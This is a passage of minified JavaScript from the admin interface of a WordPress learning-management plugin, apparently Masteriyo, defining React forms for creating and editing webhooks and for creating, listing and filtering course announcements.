URL","learning-management-system")),l().createElement(Ma.p,(0,Re.A)({type:"url",defaultValue:n},a("delivery_url",{required:(0,E.__)("Please provide delivery URL for the webhook.","learning-management-system")}))),l().createElement(Ne.eK,null,(0,E.__)("Your destination where the data will be sent.","learning-management-system")),l().createElement(ui.Wt,null,(null==r||null===(t=r.delivery_url)||void 0===t?void 0:t.message)+""))};const DC=e=>{var{defaultValue:t}=e,[n,r]=(0,a.useState)(""),[i,o]=(0,a.useState)(t),{setValue:s}=(0,Je.xW)(),m=(0,a.useCallback)((e=>{var t=(0,zl.serialize)([(0,zl.createBlock)("core/paragraph",{content:e})]);o(t),s("description",t),r(e)}),[s]);return l().createElement(Ne.MJ,null,l().createElement(ft.s,{direction:"row",alignItems:"center",justifyContent:"space-between",mb:"2"},l().createElement(Ge.l,{m:0},(0,E.__)("Description","learning-management-system")),l().createElement(Li,{onContentCreated:m,elementId:"mto-webhook-description"})),"classic_editor"===R.defaultEditor?l().createElement(Ki,{id:"mto-webhook-description",name:"description",defaultValue:i}):l().createElement(Ei,{defaultValue:i,name:"description",id:"mto-webhook-description",blockAiContent:n}))};function _C(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function kC(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?_C(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):_C(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}const QC=e=>{var t,n,{defaultValue:r}=e,i=new mt(rt.webhookEvents),{control:o,formState:{errors:s}}=(0,Je.xW)(),m=(0,Pn.I)(kC({queryKey:["webhookEvents"],queryFn:()=>i.list()},{keepPreviousData:!0})),c=(0,a.useMemo)((()=>{var e;return m.data&&N(null==m?void 0:m.data)?null==m||null===(e=m.data)||void 0===e?void 0:e.reduce(((e,t)=>kC(kC({},e),{},{[null==t?void 0:t.name]:{label:null==t?void 0:t.label,value:null==t?void 0:t.name}})),{}):{}}),[m.data]);if(m.isLoading||null==m||!m.data)return l().createElement(St.E,{height:"40px",width:"full"});var u=Array.isArray(r)?null==r||null===(t=r.filter((e=>!!c[e])))||void 0===t?void 0:t.map((e=>kC({},c[e]))):[];return l().createElement(d.B,{spacing:2},l().createElement(Ne.MJ,{isInvalid:!(null==s||!s.events)},l().createElement(Ge.l,null,(0,E.__)("Events","learning-management-system")),l().createElement(Je.xI,{name:"events",rules:{required:(0,E.__)("Please select at least one event.","learning-management-system")},control:o,defaultValue:u,render:e=>{var{field:{onChange:t,value:n}}=e;return l().createElement(ss.Ay,{onChange:t,value:n,styles:dn,isMulti:!0,closeMenuOnSelect:!1,isClearable:!1,options:Object.values(c),noOptionsMessage:e=>{var{inputValue:t}=e;return t.length>0?(0,E.__)("No events found.","learning-management-system"):(0,E.__)("No events.","learning-management-system")}})}}),l().createElement(Ne.eK,null,(0,E.__)("Select the events that will trigger this webhook.","learning-management-system")),l().createElement(ui.Wt,null,(null==s||null===(n=s.events)||void 0===n?void 0:n.message)+"")))};const zC=e=>{var t,{defaultValue:n}=e,{register:a,formState:{errors:r}}=(0,Je.xW)();return l().createElement(Ne.MJ,{isInvalid:!(null==r||!r.name)},l().createElement(Ge.l,null,(0,E.__)("Webhook Name","learning-management-system")),l().createElement(Ma.p,(0,Re.A)({defaultValue:n,placeholder:(0,E.__)("Your webhook Name","learning-management-system")},a("name",{required:(0,E.__)("Please provide name for the webhook.","learning-management-system")}))),l().createElement(ui.Wt,null,(null==r||null===(t=r.name)||void 0===t?void 0:t.message)+""))};const qC=e=>{var t,{defaultValue:n}=e,{register:a,formState:{errors:r}}=(0,Je.xW)();return l().createElement(Ne.MJ,{isInvalid:!(null==r||!r.secret)},l().createElement(Ge.l,null,(0,E.__)("Secret (optional)","learning-management-system")),l().createElement(Ma.p,(0,Re.A)({defaultValue:n},a("secret"))),l().createElement(Ne.eK,null,(0,E.__)("Secret can help you identify if the data has been altered by a malicious third-party before it reaches its destination.","learning-management-system")),l().createElement(ui.Wt,null,(null==r||null===(t=r.secret)||void 0===t?void 0:t.message)+""))};const FC=e=>{var{defaultValue:t}=e,{setValue:n,control:a}=(0,Je.xW)(),r=(0,Je.FH)({name:"status",defaultValue:t||"",control:a});return l().createElement(d.B,{spacing:0},l().createElement(Fa,null,l().createElement(Ge.l,{htmlFor:"masteriyo-webhook-status-toggle"},(0,E.__)("Status","learning-management-system")+" (".concat(r===iA.Active?(0,E.__)("Active","learning-management-system"):(0,E.__)("Inactive","learning-management-system"),")")),l().createElement(qa.d,{id:"masteriyo-webhook-status-toggle",defaultChecked:t===iA.Active,onChange:e=>n("status",e.target.checked?iA.Active:iA.InActive,{shouldDirty:!0})})),l().createElement(g.E,{fontSize:"sm",color:"gray.500"},(0,E.__)("Only active webhooks will be triggered when the selected events occur.","learning-management-system")))};function jC(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function VC(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?jC(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):jC(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}const LC=()=>{var e=(0,We.d)(),t=(0,s.jE)(),n=(0,Je.mN)(),a=(0,vt.Zp)(),r=new mt(rt.webhooks),[i]=(0,xt.U)("(min-width: 992px)"),o=(0,Jr.A)(["sm","md"]),m=(0,wt.n)({mutationFn:e=>r.store(e)}),c=n=>{var l;n=VC(VC({},n),{},{events:N(n.events)?null===(l=n.events)||void 0===l?void 0:l.map((e=>e.value)):[]}),m.mutate(ne(n),{onSuccess:n=>{we(t,["webhooksList",{order:"desc",orderby:"date"}],n),e({title:n.name+(0,E.__)(" has been added.","learning-management-system"),status:"success",isClosable:!0}),t.invalidateQueries({queryKey:["webhooksList"]}),a(Pt.webhooks.list)},onError:t=>{var n,a=null!=t&&t.message?null==t?void 0:t.message:null==t||null===(n=t.data)||void 0===n?void 0:n.message;e({title:(0,E.__)("Failed to create webhook.","learning-management-system"),description:a?"".concat(a):void 0,status:"error",isClosable:!0})}})};Ca(n.formState.isDirty);var u=()=>l().createElement(Bt.e,null,l().createElement(p.$,{size:o,colorScheme:"primary",isLoading:m.isPending,onClick:n.handleSubmit(c)},(0,E.__)("Create","learning-management-system")),l().createElement(p.$,{size:o,variant:"outline",isDisabled:m.isPending,onClick:()=>a({pathname:Pt.webhooks.list})},(0,E.__)("Cancel","learning-management-system")));return l().createElement(d.B,{direction:"column",spacing:"8",alignItems:"center"},l().createElement(Vt,null,l().createElement(Lt,null,l().createElement(Wt,null,l().createElement(Ut,null),l().createElement(yn,null,l().createElement(vn,null,l().createElement(fn,{to:Pt.webhooks.add,_activeLink:on},l().createElement(g.E,null,(0,E.__)("Create New Webhook","learning-management-system")))))))),l().createElement(De.m,{maxW:"container.xl"},l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(Bt.e,null,l().createElement(v.N_,{to:Pt.webhooks.list},l().createElement(Dl,null))),l().createElement(Je.Op,n,l().createElement("form",{onSubmit:n.handleSubmit(c)},l().createElement(d.B,{direction:["column","column","column","row"],spacing:"8"},l().createElement(Qe.a,{flex:"1",bg:"white",p:"10",shadow:"box",display:"flex",flexDirection:"column",justifyContent:"space-between"},l().createElement(d.B,{direction:"column",spacing:"8"},l().createElement(ft.s,{align:"center",justify:"space-between"},l().createElement(ke.D,{as:"h1",fontSize:"x-large"},(0,E.__)("Create New Webhook","learning-management-system"))),l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(zC,null),l().createElement(DC,null),i?l().createElement(u,null):null))),l().createElement(Qe.a,{w:{lg:"400px"},bg:"white",p:"10",shadow:"box"},l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(FC,null),l().createElement(PC,null),l().createElement(QC,null),l().createElement(qC,null),i?null:l().createElement(u,null)))))))))};const MC=()=>l().createElement(d.B,{direction:"column",spacing:"8",alignItems:"center"},l().createElement(Qe.a,{bg:"white",w:"full",shadow:"header",pb:["3",0,0]},l().createElement(De.m,{maxW:"container.xl"},l().createElement(d.B,{direction:["column","row"],justifyContent:"space-between",align:"center"},l().createElement(d.B,{direction:["column",null,"row"],spacing:["3",null,"8"],align:"center",minHeight:"16"},l().createElement(Qe.a,{display:["none",null,"block"]},l().createElement(qe._,{src:It,w:"36px"})),l().createElement(Ba.r,{noOfLines:1,width:"80px"}),l().createElement(d.B,{direction:"row",alignItems:"center",gap:"5",mt:"0px !important"},l().createElement(d.B,{direction:"row",gap:"3",alignItems:"center"},l().createElement(Xt.Q,{size:"4"}),l().createElement(Ba.r,{noOfLines:1,width:"40px"})),l().createElement(d.B,{direction:"row",gap:"3",alignItems:"center"},l().createElement(Xt.Q,{size:"4"}),l().createElement(Ba.r,{noOfLines:1,width:"40px"})),l().createElement(d.B,{direction:"row",gap:"3",alignItems:"center"},l().createElement(Xt.Q,{size:"4"}),l().createElement(Ba.r,{noOfLines:1,width:"40px"})))),l().createElement(Bt.e,null,l().createElement(St.E,{height:"40px",width:"70px"}),l().createElement(St.E,{height:"40px",width:"70px"}),l().createElement(St.E,{height:"40px",width:"70px"}))))),l().createElement(De.m,{maxW:"container.xl"},l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(Bt.e,null,l().createElement(v.N_,{to:Pt.webhooks.list},l().createElement(Dl,null))),l().createElement(d.B,{direction:["column","column","column","row"],spacing:"6"},l().createElement(Qe.a,{bg:"white",p:"10",shadow:"box",flex:"1"},l().createElement(d.B,{direction:"column",spacing:"8"},l().createElement(St.E,{height:"30px",width:"100px"}),l().createElement(d.B,{mt:"12px",direction:"column",spacing:"6"},l().createElement(d.B,{direction:"column",spacing:"3"},l().createElement(St.E,{height:"40px"}),l().createElement(St.E,{height:"400px"}),l().createElement(St.E,{height:"40px"})),l().createElement(d.B,{direction:"row"},l().createElement(St.E,{height:"40px",w:"100%"}),l().createElement(St.E,{height:"40px",w:"100%"}))))),l().createElement(Qe.a,{bg:"white",p:"10",shadow:"box",flex:"0.5"},l().createElement(d.B,{direction:"column",spacing:"10"},l().createElement(d.B,null,l().createElement(St.E,{height:"10px",width:"30%"}),l().createElement(St.E,{height:"40px"})),l().createElement(d.B,null,l().createElement(St.E,{height:"10px",width:"30%"}),l().createElement(St.E,{height:"40px"})),l().createElement(d.B,null,l().createElement(St.E,{height:"10px",width:"30%"}),l().createElement(St.E,{height:"40px"}))))))));function RC(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function TC(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?RC(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):RC(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}const UC=()=>{var e,t,n,r,i,o,{webhookId:m}=(0,vt.g)(),c=(0,We.d)(),u=(0,s.jE)(),A=(0,Je.mN)(),y=(0,vt.Zp)(),f=new mt(rt.webhooks),[h]=(0,xt.U)("(min-width: 992px)"),b=(0,Jr.A)(["sm","md"]),w=(0,Pn.I)({queryKey:["webhook".concat(m),m],queryFn:()=>f.get(m,"edit")});(0,a.useEffect)((()=>{null!=w&&w.isError&&y(Pt.notFound)}),[null==w?void 0:w.isError,y]);var C=(0,wt.n)(TC({mutationFn:e=>f.update(m,e)},{onSuccess:e=>{A.reset(A.getValues()),xe(u,["webhooksList",{order:"desc",orderby:"date"}],e),u.invalidateQueries({queryKey:["webhook".concat(m)]}),u.invalidateQueries({queryKey:["webhooksList"]}),c({title:(0,E.__)("Webhook updated successfully.","learning-management-system"),isClosable:!0,status:"success"}),y(Pt.webhooks.list)},onError:e=>{var t,n=null!=e&&e.message?null==e?void 0:e.message:null==e||null===(t=e.data)||void 0===t?void 0:t.message;c({title:(0,E.__)("Failed to update the webhook.","learning-management-system"),description:n?"".concat(n):void 0,status:"error",isClosable:!0})}})),x=e=>{C.mutate(TC(TC({},e),{},{events:N(e.events)?e.events.map((e=>e.value)):[]}))};if(Ca(A.formState.isDirty),(0,a.useEffect)((()=>{null!=w&&w.isSuccess&&null!=w&&w.data&&A.reset(A.getValues())}),[null==w?void 0:w.data]),w.isLoading||!w.isSuccess)return l().createElement(MC,null);var S=()=>l().createElement(Bt.e,null,l().createElement(p.$,{size:b,colorScheme:"primary",isLoading:C.isPending,onClick:A.handleSubmit(x)},(0,E.__)("Update","learning-management-system")),l().createElement(p.$,{size:b,variant:"outline",isDisabled:C.isPending,onClick:()=>y({pathname:Pt.webhooks.list})},(0,E.__)("Cancel","learning-management-system")));return l().createElement(d.B,{direction:"column",spacing:"8",alignItems:"center"},l().createElement(Vt,null,l().createElement(Lt,null,l().createElement(Wt,null,l().createElement(Ut,null),l().createElement(yn,null,l().createElement(vn,null,l().createElement(fn,{isActive:!0,_activeLink:on},l().createElement(g.E,null,(0,E.__)("Edit Webhook","learning-management-system")))))))),l().createElement(De.m,{maxW:"container.xl"},l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(Bt.e,null,l().createElement(v.N_,{to:Pt.webhooks.list},l().createElement(Dl,null))),l().createElement(Je.Op,A,l().createElement("form",{onSubmit:A.handleSubmit(x)},l().createElement(d.B,{direction:["column","column","column","row"],spacing:"8"},l().createElement(Qe.a,{flex:"1",bg:"white",p:"10",shadow:"box",display:"flex",flexDirection:"column",justifyContent:"space-between"},l().createElement(d.B,{direction:"column",spacing:"8"},l().createElement(ft.s,{align:"center",justify:"space-between"},l().createElement(ke.D,{as:"h1",fontSize:"x-large"},l().createElement(g.E,null,(0,E.__)("Edit Webhook","learning-management-system")))),l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(zC,{defaultValue:null==w||null===(e=w.data)||void 0===e?void 0:e.name}),l().createElement(DC,{defaultValue:null==w||null===(t=w.data)||void 0===t?void 0:t.description}),h?l().createElement(S,null):null))),l().createElement(Qe.a,{w:{lg:"400px"},bg:"white",p:"10",shadow:"box"},l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(FC,{defaultValue:null===(n=w.data)||void 0===n?void 0:n.status}),l().createElement(PC,{defaultValue:null==w||null===(r=w.data)||void 0===r?void 0:r.delivery_url}),l().createElement(QC,{defaultValue:null==w||null===(i=w.data)||void 0===i?void 0:i.events}),l().createElement(qC,{defaultValue:null==w||null===(o=w.data)||void 0===o?void 0:o.secret}),h?null:l().createElement(S,null)))))))))};const WC=e=>{var{methods:t,isLoading:n,onSubmit:a,announcementStatus:r}=e,i=(0,Jr.A)(["sm","md"]),o=()=>!(!r||"publish"!==r);return l().createElement(l().Fragment,null,l().createElement(p.$,{size:i,colorScheme:"primary",isLoading:n,onClick:t.handleSubmit((e=>{a(ee({status:"publish"},e))}))},o()?(0,E.__)("Update","learning-management-system"):(0,E.__)("Publish","learning-management-system")),l().createElement(p.$,{variant:"outline",colorScheme:"primary",isLoading:n,onClick:t.handleSubmit((e=>{a(ee({status:"draft"},e))}))},r&&"draft"===r?(0,E.__)("Save To Draft","learning-management-system"):o()?(0,E.__)("Switch To Draft","learning-management-system"):(0,E.__)("Save To Draft","learning-management-system")))};const KC=e=>{var t,n,{defaultData:a}=e,r=new mt(rt.courses),{setValue:i}=(0,Je.xW)(),o=(0,Pn.I)({queryKey:["courseList"],queryFn:()=>r.list({order_by:"name",order:"asc",per_page:10})});return l().createElement(Ne.MJ,null,l().createElement(Ge.l,null,(0,E.__)("Course","learning-management-system")),o.isLoading?l().createElement(St.E,{height:"40px",width:"100%"}):(null==o?void 0:o.isSuccess)&&!$(null===(t=o.data)||void 0===t?void 0:t.data)&&l().createElement(Co,{styles:dn,cacheOptions:!0,loadingMessage:()=>(0,E.__)("Searching...","learning-management-system"),noOptionsMessage:e=>{var{inputValue:t}=e;return $(t)?(0,E.__)("Please enter one or more characters.","learning-management-system"):(0,E.__)("Courses not found.","learning-management-system")},isClearable:!0,placeholder:(0,E.__)("Please select a course.","learning-management-system"),defaultValue:a?{value:a.id,label:a.name}:null,onChange:e=>{i("course_id",null==e?void 0:e.value,{shouldDirty:!0})},defaultOptions:o.isSuccess?null===(n=o.data)||void 0===n||null===(n=n.data)||void 0===n?void 0:n.map((e=>({value:e.id,label:e.name}))):[],loadOptions:(e,t)=>{if($(e))return t([]);r.list({search:e}).then((e=>{t(e.data.map((e=>({value:e.id,label:e.name}))))}))}}))};const NC=e=>{var{defaultValue:t}=e,[n,r]=(0,a.useState)(t),[i,o]=(0,a.useState)(""),{setValue:s}=(0,Je.xW)(),m=(0,a.useCallback)((e=>{var t=(0,zl.serialize)([(0,zl.createBlock)("core/paragraph",{content:e})]);r(t),s("description",t,{shouldDirty:!0}),o(e)}),[s]);return l().createElement(Ne.MJ,null,l().createElement(ft.s,{direction:"row",alignItems:"center",justifyContent:"space-between",mb:2},l().createElement(Ge.l,{m:0},(0,E.__)("Description","learning-management-system")),l().createElement(Li,{onContentCreated:m,elementId:"mto-announcement-description"})),"classic_editor"===R.defaultEditor?l().createElement(Ki,{id:"mto-announcement-description",name:"description",defaultValue:n}):l().createElement(Ei,{defaultValue:n,name:"description",id:"mto-announcement-description",blockAiContent:i}))};const GC=e=>{var t,{defaultValue:n}=e,{register:a,formState:{errors:r}}=(0,Je.xW)();return l().createElement(Ne.MJ,{isInvalid:!(null==r||!r.name)},l().createElement(Ge.l,null,(0,E.__)("Announcement Name","learning-management-system")),l().createElement(Ma.p,(0,Re.A)({defaultValue:n,placeholder:(0,E.__)("Your announcement name","learning-management-system")},a("title",{required:(0,E.__)("Please provide name for the announcement.","learning-management-system")}))),l().createElement(ui.Wt,null,(null==r||null===(t=r.name)||void 0===t?void 0:t.message)+""))};var HC={courseAnnouncement:"/masteriyo/v1/course-announcement"},JC={mr:"10",py:"6",d:"flex",gap:1,justifyContent:"flex-start",alignItems:"center",fontWeight:"medium",fontSize:["xs",null,"sm"]};const XC=()=>{var e=(0,We.d)(),t=(0,s.jE)(),n=(0,Je.mN)(),a=(0,vt.Zp)(),r=new mt(HC.courseAnnouncement),[i]=(0,xt.U)("(min-width: 992px)"),o=(0,Jr.A)(["sm","md"]),m=(0,wt.n)({mutationFn:e=>r.store(e)}),c=l=>{m.mutate(ne(l),{onSuccess:l=>{n.reset(n.getValues()),we(t,["announcementList",{order:"desc",orderby:"date"}],l),e({title:l.title+(0,E.__)(" has been added.","learning-management-system"),status:"success",isClosable:!0}),t.invalidateQueries({queryKey:["announcementList"]}),a(Pt.courseAnnouncement.list)},onError:t=>{var n,a=null!=t&&t.message?null==t?void 0:t.message:null==t||null===(n=t.data)||void 0===n?void 0:n.message;e({title:(0,E.__)("Failed to create announcement.","learning-management-system"),description:a?"".concat(a):void 0,status:"error",isClosable:!0})}})};Ca(n.formState.isDirty);var u=()=>l().createElement(Bt.e,null,l().createElement(WC,{isLoading:m.isPending,methods:n,onSubmit:c}),l().createElement(p.$,{size:o,variant:"outline",isDisabled:m.isPending,onClick:()=>a({pathname:Pt.courseAnnouncement.list})},(0,E.__)("Cancel","learning-management-system")));return l().createElement(d.B,{direction:"column",spacing:"8",alignItems:"center"},l().createElement(Vt,null,l().createElement(Wt,null,l().createElement(Ut,null),l().createElement(Fe.B8,{display:["none","flex","flex"],flexDirection:["column","row","row","row"]},l().createElement(Fe.ck,{mb:"0"},l().createElement(v.N_,{to:Pt.courseAnnouncement.add},l().createElement(p.$,{color:"gray.600",variant:"link",sx:JC,_active:on,rounded:"none",isActive:!0},(0,E.__)("Add New Announcement","learning-management-system"))))))),l().createElement(De.m,{maxW:"container.xl"},l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(Bt.e,null,l().createElement(v.N_,{to:Pt.courseAnnouncement.list},l().createElement(Dl,null))),l().createElement(Je.Op,n,l().createElement("form",{onSubmit:n.handleSubmit(c)},l().createElement(d.B,{direction:["column","column","column","row"],spacing:"8"},l().createElement(Qe.a,{flex:"1",bg:"white",p:"10",shadow:"box",display:"flex",flexDirection:"column",justifyContent:"space-between"},l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(GC,null),l().createElement(NC,null),i?l().createElement(u,null):null)),l().createElement(Qe.a,{w:{lg:"400px"},bg:"white",p:"10",shadow:"box"},l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(KC,null),i?null:l().createElement(u,null)))))))))};const YC=e=>{var t,n,a,{data:r,onDeletePress:i,onTrashPress:o,onRestorePress:s,setBulkIds:m,bulkIds:c,isLoading:u}=e;return l().createElement(_n.Tr,null,l().createElement(_n.Td,null,l().createElement(On.S,{isDisabled:u,isChecked:c.includes(null==r?void 0:r.id.toString()),onChange:e=>m(e.target.checked?[...c,null==r?void 0:r.id.toString()]:c.filter((e=>e!==(null==r?void 0:r.id.toString()))))})),l().createElement(_n.Td,null,"trash"===(null==r?void 0:r.status)?l().createElement(g.E,{fontWeight:"semibold"},null==r?void 0:r.title):l().createElement(je.N,{as:v.N_,to:Pt.courseAnnouncement.edit.replace(":courseAnnouncementId",null==r?void 0:r.id.toString()),fontWeight:"semibold",_hover:{color:"primary.500"}},null==r?void 0:r.title,"draft"===(null==r?void 0:r.status)?l().createElement(Jt.E,{bg:"primary.200",fontSize:"10px",ml:"2",mt:"-2"},(0,E.__)("Draft","learning-management-system")):null)),l().createElement(_n.Td,null,l().createElement(d.B,{direction:"row",spacing:"2",alignItems:"center"},l().createElement(Oa.e,{src:null==r||null===(t=r.author)||void 0===t?void 0:t.avatar_url,size:"xs"}),l().createElement(g.E,{fontSize:"xs",fontWeight:"medium",color:"gray.600"},null==r||null===(n=r.author)||void 0===n?void 0:n.display_name))),l().createElement(_n.Td,null,l().createElement(g.E,{color:"gray.600",fontSize:"sm"},null==r||null===(a=r.course)||void 0===a?void 0:a.name)),l().createElement(_n.Td,null,l().createElement(d.B,{direction:"row",spacing:"2",alignItems:"center",color:"gray.600"},l().createElement($e.I,{as:kt.u$_}),l().createElement(g.E,{fontSize:"xs",fontWeight:"medium"},ie(null==r?void 0:r.date_created,"Y-m-d, h:i A")))),l().createElement(_n.Td,null,"trash"===(null==r?void 0:r.status)?l().createElement(Rn.W,{placement:"bottom-end"},l().createElement(Tn.I,{as:Un.K,icon:l().createElement(kt.voe,null),variant:"outline",rounded:"sm",fontSize:"large",size:"xs"}),l().createElement(Wn.c,null,l().createElement(Kn.D,{onClick:()=>s(null==r?void 0:r.id),icon:l().createElement(kt.Nyy,null),_hover:{color:"primary.500"}},(0,E.__)("Restore","learning-management-system")),l().createElement(Kn.D,{onClick:()=>i(null==r?void 0:r.id),icon:l().createElement(Da,{icon:ea,boxSize:"12px"}),_hover:{color:"red.500"}},(0,E.__)("Delete Permanently","learning-management-system")))):l().createElement(Bt.e,null,l().createElement(v.N_,{to:Pt.courseAnnouncement.edit.replace(":courseAnnouncementId",null==r?void 0:r.id.toString())},l().createElement(p.$,{colorScheme:"primary",variant:"outline",leftIcon:l().createElement(kt.u6n,null),size:"xs"},(0,E.__)("Edit","learning-management-system"))),l().createElement(Rn.W,{placement:"bottom-end"},l().createElement(Tn.I,{as:Un.K,icon:l().createElement(kt.voe,null),variant:"outline",rounded:"sm",fontSize:"large",size:"xs"}),l().createElement(Wn.c,null,l().createElement(Kn.D,{onClick:()=>o(null==r?void 0:r.id),icon:l().createElement(Da,{icon:ea,boxSize:"12px"}),_hover:{color:"red.500"}},(0,E.__)("Trash","learning-management-system")))))))};const ZC=e=>{var t,n,{filterParams:a,setFilterParams:r}=e,i=new mt(rt.courses),o=new mt(rt.users),[s]=(0,v.ok)(),m=s.get("status")||"any",c=(0,Pn.I)({queryKey:["courseList"],queryFn:()=>i.list({order_by:"name",order:"asc",per_page:5})}),u=(0,Pn.I)({queryKey:["userList"],queryFn:()=>o.list({order_by:"name",order:"asc",per_page:5})}),{handleSubmit:d,register:g,setValue:A}=(0,Je.mN)(),p=(0,wr.z)({onTypeFinish:e=>{r({parent:0,user:a.user,course:a.course,search:e,status:m})}},800),y=e=>{r(ne(ee(e,{search:a.search,parent:0,status:m})))};return l().createElement(Qe.a,{px:{base:6,md:12}},l().createElement("form",{onChange:d(y)},l().createElement(br.x,{gridTemplateColumns:{md:"repeat(3, 1fr)"},gap:"4"},l().createElement(Ma.p,(0,Re.A)({placeholder:(0,E.__)("Search Announcements","learning-management-system")},p,{height:"40px"})),l().createElement(Co,(0,Re.A)({},g("course_id"),{onChange:e=>{A("course_id",null==e?void 0:e.value.toString(),{shouldDirty:!0}),d(y)()},placeholder:(0,E.__)("Filter by Course","learning-management-system"),isClearable:!0,styles:dn,cacheOptions:!0,loadingMessage:()=>(0,E.__)("Searching course...","learning-management-system"),noOptionsMessage:e=>{var{inputValue:t}=e;return t.length>0?(0,E.__)("Course not found.","learning-management-system"):c.isLoading?(0,E.__)("Loading...","learning-management-system"):(0,E.__)("Please enter 1 or more characters.","learning-management-system")},defaultOptions:c.isSuccess?null==c||null===(t=c.data)||void 0===t||null===(t=t.data)||void 0===t?void 0:t.map((e=>({value:e.id,label:"(#".concat(e.id," - ").concat(e.name,")")}))):[],loadOptions:(e,t)=>{if(e.length<0)return t([]);i.list({search:e}).then((e=>{var n;t(null==e||null===(n=e.data)||void 0===n?void 0:n.map((e=>({value:e.id,label:"#".concat(e.id," ").concat(e.name)}))))}))}})),l().createElement(Co,(0,Re.A)({},g("author_id"),{onChange:e=>{A("author_id",null==e?void 0:e.value.toString(),{shouldDirty:!0}),d(y)()},placeholder:(0,E.__)("Filter by Author","learning-management-system"),isClearable:!0,styles:dn,cacheOptions:!0,loadingMessage:()=>(0,E.__)("Searching author...","learning-management-system"),noOptionsMessage:e=>{var{inputValue:t}=e;return t.length>0?(0,E.__)("Author not found.","learning-management-system"):u.isLoading?(0,E.__)("Loading...","learning-management-system"):(0,E.__)("Please enter 1 or more characters.","learning-management-system")},defaultOptions:u.isSuccess?null==u||null===(n=u.data)||void 0===n||null===(n=n.data)||void 0===n?void 0:n.map((e=>({value:e.id,label:"".concat(e.username," (#").concat(e.id," - ").concat(e.email,")")}))):[],loadOptions:(e,t)=>{if(e.length<0)return t([]);o.list({search:e}).then((e=>{var n;t(null==e||null===(n=e.data)||void 0===n?void 0:n.map((e=>({value:e.id,label:"".concat(e.username," (#").concat(e.id," - ").concat(e.email,")")}))))}))}})))))};var $C=()=>l().createElement(d.B,{direction:["column","column","column","row"],spacing:"6"},l().createElement(Qe.a,{bg:"white",p:"10",shadow:"box",flex:"1"},l().createElement(d.B,{direction:"column",spacing:"8"},l().createElement(St.E,{height:"30px",width:"100px"}),l().createElement(d.B,{mt:"12px",direction:"column",spacing:"6"},l().createElement(d.B,{direction:"column",spacing:"3"},l().createElement(St.E,{height:"10px",width:"30%"}),l().createElement(St.E,{height:"40px"}),l().createElement(St.E,{height:"10px",width:"35%"}),l().createElement(St.E,{height:"400px"})),l().createElement(d.B,{direction:"row"},l().createElement(St.E,{height:"40px",width:"24"}),l().createElement(St.E,{height:"40px",width:"28"}),l().createElement(St.E,{height:"40px",width:"24"}))))),l().createElement(Qe.a,{bg:"white",p:"10",shadow:"box",flex:"0.5"},l().createElement(d.B,{direction:"column",spacing:"10"},l().createElement(d.B,null,l().createElement(St.E,{height:"10px",width:"30%"}),l().createElement(St.E,{height:"40px"}))))),ex=()=>l().createElement(l().Fragment,null,[1,2,3,4,5].map((e=>l().createElement(_n.Tr,{key:e},l().createElement(_n.Td,null,l().createElement(Ba.r,{noOfLines:1})),l().createElement(_n.Td,null,l().createElement(Ba.r,{noOfLines:1})),l().createElement(_n.Td,null,l().createElement(Ba.r,{noOfLines:1})),l().createElement(_n.Td,null,l().createElement(Ba.r,{noOfLines:1})),l().createElement(_n.Td,null,l().createElement(Ba.r,{noOfLines:1})),l().createElement(_n.Td,null,l().createElement(Ba.r,{noOfLines:1}))))));function tx(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function nx(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?tx(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):tx(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}var ax=[{status:"any",name:(0,E.__)("All Announcements","learning-management-system")},{status:"publish",name:(0,E.__)("Published","learning-management-system")},{status:"draft",name:(0,E.__)("Draft","learning-management-system")},{status:"trash",name:(0,E.__)("Trash","learning-management-system")}];const lx=()=>{var e,t,n,r,i,o,m,c,u,A,p=new 